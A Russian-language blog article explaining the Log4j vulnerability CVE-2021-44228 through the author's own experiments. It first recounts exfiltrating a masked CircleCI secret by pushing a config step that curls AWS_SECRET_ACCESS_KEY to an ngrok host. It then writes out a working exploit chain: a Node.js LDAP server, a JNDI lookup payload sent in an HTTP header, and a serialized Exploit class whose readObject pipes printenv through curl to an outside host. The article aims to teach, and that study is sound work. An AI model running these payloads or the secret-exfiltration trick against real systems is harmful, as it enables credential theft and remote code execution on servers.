Думаю, все слышали про критическую уязвимость в библиотеке логирования Java-программ Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. На сегодня ей присвоен самый высокий критический статус CVE-2021-44228, и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости.
Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI).
Последние два года я использую Java крайне редко, но мне стало интересно разобраться с этим более детально.
История о том, как я искал ключи
Начну очень издалека. С жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того, как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл (или не захотел) поделиться Environment VariablesПеременная среды — текстовая переменная операционной системы, хранящая какую-либо информацию — например, данные о настройках системы.. Полгода все работало хорошо, но пришло время что-то подкрутить, и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных.
Проблема в том, что на платформе CircleCI нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. То есть при создании переменной ее значение видно:
А уже после создания, мы видим только маску в формате хххх{four-last-characters}
:
Хорошо, что у нас есть доступ к yml-конфигурации деплоя <repository>/.circleci/config.yml
, и первое, что приходит в голову, это распечатать значение переменной окружения прямо в консоль, используя echo
, что в реалиях CircleCI выглядит примерно так:
version: 2.1 jobs: build: docker: - image: cimg/base:stable steps: - checkout - run: echo "Hello world" - run: echo ${CIRCLE_REPOSITORY_URL} - run: echo ${AWS_SECRET_ACCESS_KEY} workflows: build: jobs: - build
Здесь:
CIRCLE_REPOSITORY_URL
— встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY
— переменная проекта, созданная вручную.
К сожалению (или к счастью) вывод в консоль сработал только для встроенной переменной, а вместо AWS-ключа распечаталась маска **************************
, которая мало чем может нам помочь.
К слову, в первые годы жизни CircleCI это работало, но в конце 2019-го этот хак починили.
Думаем дальше и приходим к выводу, что очень часто переменные окружения — это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах. И логично предположить, что если «вкинуть» переменную в curl
, то CI отправит ее в сыром виде, и уже принимающая сторона сможет увидеть значение без маски.
Пишем простой HTTP-сервер на Node.js, единственная задача которого печатать тело запроса в консоль:
const express = require('express') const app = express() const port = 3000 app.use(express.text()) // Accepts literally any request to literally any path app.all('*', (req, res) => { // Print body to the console console.log(req.body) // Respond with empty string res.send('') }) app.listen(port, () => { console.log(`App listening at http://localhost:${port}`) })
Запускаем локально и тестируем:
curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'
Все работает хорошо, тело запроса вывелось в консоль:
$ yarn start yarn run v1.22.17 $ node src/index.js App listening at http://localhost:3000 Plain text body
Единственное, что мешает отправить curl
–запрос из CircleCI на наш Node.js HTTP-сервер — это то, что сервер поднят на localhost и его «не видно из интернета». Эту проблему нам помогает решить ngrok.
Для тех, кто никогда не слышал про ngrok — это приблуда, которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall.
Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000-й порт (тот на котором «бегает» Node.js HTTP-сервер):
$ ngrok http 3000
Получаем HTTP- и HTTP-ссылки, которые «видно из интернета»:
ngrok by @inconshreveable (Ctrl+C to quit) Session Status online Account Oleksandr (Plan: Free) Version 2.3.40 Region United States (us) Web Interface http://127.0.0.1:4040 Forwarding http://5675-136-28-7-90.ngrok.io -> http://localhost:3000 Forwarding https://5675-136-28-7-90.ngrok.io -> http://localhost:3000 Connections ttl opn rt1 rt5 p50 p90 2 0 0.03 0.01 5.07 5.14
Осталось собрать все вместе и отправить curl
-запрос из CircleCI. Для этого обновляем <repository>/.circleci/config.yml
еще раз:
version: 2.1 jobs: build: docker: - image: cimg/base:stable steps: - checkout - run: echo "Hello world" - run: echo ${CIRCLE_REPOSITORY_URL} - run: echo ${AWS_SECRET_ACCESS_KEY} - run: name: curl ${AWS_SECRET_ACCESS_KEY} command: | curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}" workflows: build: jobs: - build
Коммитим, пушим, смотрим в CircleCI и убеждаемся, что curl
-запрос был отправлен успешно:
А в консоле Node.js HTTP-сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY
, которая пришла в теле curl
-запроса:
$ yarn start yarn run v1.22.17 $ node src/index.js App listening at http://localhost:3000 fake-aws-secret-access-key
Разберем ключевые моменты
- Доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это, пожалуй, то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.
- Жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.
- Извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP-сервера.
Пишем и взламываем RESTful Web Service
Очевидно, что самым сложным моментом в процессе эксплойтаОт англ. exploit — использовать. Это общий термин в сообществе компьютерной безопасности для обозначения кода, который, используя возможности, предоставляемые ошибкой или уязвимостью, ведет к повышению привилегий или отказу в обслуживании компьютерной системы. является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем преткновения стал так называемый Lookups, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY
в консоль, используя Log4j:
public class App { private static final Logger LOGGER = LogManager.getLogger(App.class); public static void main(String[] args) { LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}"); } }
Получаем:
12:16:13.860 [main] INFO org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key
Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP-серверу.
Для тех, кто не знаком с JNDI и LDAP, вкратце: JNDI – набор интерфейсов, который позволяет общаться с разными данными и объектами, включая LDAP, DNS, CORBA и т.д., а LDAP – протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентицикации в каталоге.
То есть, если у нас есть LDAP-сервер, мы можем отправить к нему запрос, используя JNDI.
Не теряя времени, пишем простой LDAP-сервер на Node.js, единственная задача которого печатать информацию о запросе в консоль:
const ldap = require('ldapjs') const server = ldap.createServer() const port = 1389 server.search('', (req, res, next) => { // Print request attributes to the console console.log(req.baseObject.rdns[0].attrs.q) // Dummy response res.send({ dn: '', attributes: {} }) res.end() }) server.listen(port, () => { console.log(`LDAP server listening at ${server.url}`) })
Как и в предыдущем примере, запускам ngrok и просим его делать forward tcp запросов (LDAP-протокол использует именно tcp) на локальный 1389-й порт (тот на котором «бегает» Node.js LDAP-сервер):
$ ngrok tcp 1389
Получаем tcp-ссылку, которую «видно из интернета»:
ngrok by @inconshreveable (Ctrl+C to quit) Session Status online Account Oleksandr (Plan: Free) Version 2.3.40 Region United States (us) Web Interface http://127.0.0.1:4040 Forwarding tcp://4.tcp.ngrok.io:18013 -> localhost:1389 Connections ttl opn rt1 rt5 p50 p90 0 0 0.00 0.00 0.00 0.00
Обновляем Java-приложение таким образом, чтобы Log4j писал в лог запрос к нашему LDAP-серверу, используя JNDI:
public class App { private static final Logger LOGGER = LogManager.getLogger(App.class); public static void main(String[] args) { LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}"); } }
Смотрим в консоль Node.js LDAP-сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY
, которая пришла в теле запроса:
$ yarn start yarn run v1.22.17 $ node src/index.js LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389 { value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Конечно же, никто в здравом уме не будет писать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
, поэтому продолжаем наш эксперимент…
Конвертируем Java-приложение в RESTful Web Service, используя Spring, но вместо стандартного Logback просим Spring использовать Log4j (как это сделать описано здесь). Получаем вот такой контроллер:
@RestController public class GreetingController { private final AtomicLong counter = new AtomicLong(); @GetMapping("/greeting") public Greeting greeting() { return new Greeting(counter.incrementAndGet(), "Greetings!"); } }
Так же говорим Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers:
@SpringBootApplication public class RestServiceApplication { public static void main(String[] args) { SpringApplication.run(RestServiceApplication.class, args); } @Bean public CommonsRequestLoggingFilter requestLoggingFilter() { CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter(); loggingFilter.setIncludeClientInfo(true); loggingFilter.setIncludeQueryString(true); loggingFilter.setIncludePayload(true); loggingFilter.setIncludeHeaders(true); return loggingFilter; } }
Запускаем наш сервис и убеждаемся, что он работает:
$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}
Дальше отправляем уже знакомый нам запрос к LDAP:
${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
в заголовке curl
:
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
И в консоле Node.js LDAP-сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY
, которая пришла c curl
-запросом:
$ yarn start yarn run v1.22.17 $ node src/index.js LDAP server listening at ldap://0.0.0.0:1389 { value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Ключевые моменты остались теми же, немножко изменилась реализация:
- Доставка вредоносного кода происходит с помощью обычного HTTP-запроса к серверу. Вот такая строка
${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
может прийти или в теле запроса или в его заголовке, главное чтобы Log4j попытался эту строку записать в лог, в этот момент и происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоватьсяcurl
и знать, куда отправить HTTP-запрос. - Жертва (в этом случае — Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.
- Извлечение секрета происходит с помощью ngrok и очень простого Node.js LDAP-сервера.
Несколько комментариев:
- Совсем необязательно явно использовать Log4j. В нашем примере мы нигде не вызывали Log4j, а просто попросили Spring писать в лог информацию о входящих запросах. Значит любая зависимость в проекте, которая использует Log4j может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует… Например, в Maven можно построить дерево зависимостей и посмотреть, какие библиотеки используются в проекте:
$ mvn dependency:tree | grep log4j
. - Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем, как отправить их на сервер, все не отфильтруешь, и проблема может вылезти даже в таких неожиданных местах, как имя пользователя или сообщение в чате (как, например, с изменением имени устройства в iCloud).
- В нашем примере мы знаем, что переменная окружения называется
AWS_SECRET_ACCESS_KEY
, значит, если мы используем «экзотические» имена переменных, то нам совсем нечего бояться? Это не совсем так. Каким бы сложным не казался последний пример, JNDI может намного больше, чем «просто спросить» LDAP-сервер.
Ковыряем внутри JNDI
Забегая вперед, скажу пару слов о сериализации и десериализации.
Сериализация и десериализация в Java — это способ сохранить обьект в текстовом виде (сериализация) и восстановить этот же обьект в Java позже (десериализация).
Это как конвертировать Java-обьект в JSON, а потом JSON конвертировать в Java-обьект на другом сервере (почитать детальнее можно здесь).
Как оказывается, JNDI может создавать объекты на основании ответа от LDAP-сервера, нужно просто знать, что вернуть. Например, если LDAP-сервер вернет атрибут javaClassName
, то JNDI попытается десериализовать обьект (см. LdapCtx.java#L1078-L1081).
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) { // serialized object or object reference obj = Obj.decodeObject(attrs); }
Дальше можно посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260):
// LDAP attributes used to support Java objects. static final String[] JAVA_ATTRIBUTES = { "objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation" // Deprecated }; static final int OBJECT_CLASS = 0; static final int SERIALIZED_DATA = 1; static final int CLASSNAME = 2; static final int FACTORY = 3; static final int CODEBASE = 4; static final int REF_ADDR = 5; static final int TYPENAME = 6; static Object decodeObject(Attributes attrs)throws NamingException { Attribute attr; // Get codebase, which is used in all 3 cases. String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE])); try { if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { if (!VersionHelper.isSerialDataAllowed()) { throw new NamingException("Object deserialization is not allowed"); } ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) { // For backward compatibility only return decodeRmiObject((String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),(String)attr.get(), codebases); } attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]); if (attr != null &&(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) { return decodeReference(attrs, codebases); } return null; } catch (IOException e) { NamingException ne = new NamingException(); ne.setRootCause(e); throw ne; } }
Понимаем, что нам нужны атрибуты javaClassName
, javaSerializedData
и javaCodeBase
. Создаем очень простой класс Exploit
:
public class Exploit implements Serializable { private static final long serialVersionUID = -6153657763951339296L; private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException { // Any shady shit goes here Runtime.getRuntime().exec("printenv | tr 'n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-"); } private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {} }
Создаем обьект класса Exploit
, сериализируем его и получаем вот такую строку:
'sr'Exploit[''xpx
Конвертируем ее в Base64:
rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=
Собираем jar-файл с нашим классом и закидываем в любое место доступное по HTTP (например на GitHub). Обновляем LDAP-сервер таким образом, чтобы он возвращал нужные атрибуты:
const ldap = require('ldapjs') const server = ldap.createServer() const port = 1389 server.search('', (req, res, next) => { // Print request attributes to the console console.log(req.baseObject.rdns[0].attrs.q) // Dummy response res.send({ dn: '', attributes: { javaClassName: 'Exploit', javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'), javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar' } }) res.end() }) server.listen(port, () => { console.log(`LDAP server listening at ${server.url}`) })
И отправляем запрос на сервер как и в предыдущем случае:
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY
, но и все содержимое
printenv
.
В этом случае, как только сервер получит ответ от LDAP:
ClassLoader
загрузитExploit.jar
и узнает о классеExploit
- Десериализуется обьект класса
Exploit
- Во время десериализации выполнится код из метода
readObject() Runtime.getRuntime().exec("printenv | tr 'n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-"
- Содержимое
printenv
«сольется»curl
-запросом.
По сути, во время десериализации можно выполнить любой код и даже получить доступ к bash
сервера. Справедливости ради скажу, что этот метод будет работать, только в случае если com.sun.jndi.ldap.object.trustURLCodebase
стоит в true
, то есть, если мы разрешили Java загружать jar-файлы в ClassLoader
из внешних источников, но существует способ обойти и это ограничение JNDI-Injection-Bypass.
Итог
Конечно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются «JNDI Injection» и были написаны три-пять лет назад:
- Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets;
- Jackson deserialization exploits;
- Json Deserialization Exploitation.
И даже есть видео пятилетней давности на эту тему:
Реальная проблема в том, что JNDI никуда не делся, а так же никуда не делись разработчики, которые не знают о JNDI, но пишут Java-библиотеки, которыми в итоге пользуются миллионы.
Этот материал – не редакционный, это – личное мнение его автора. Редакция может не разделять это мнение.
Сообщить об опечатке
Текст, который будет отправлен нашим редакторам: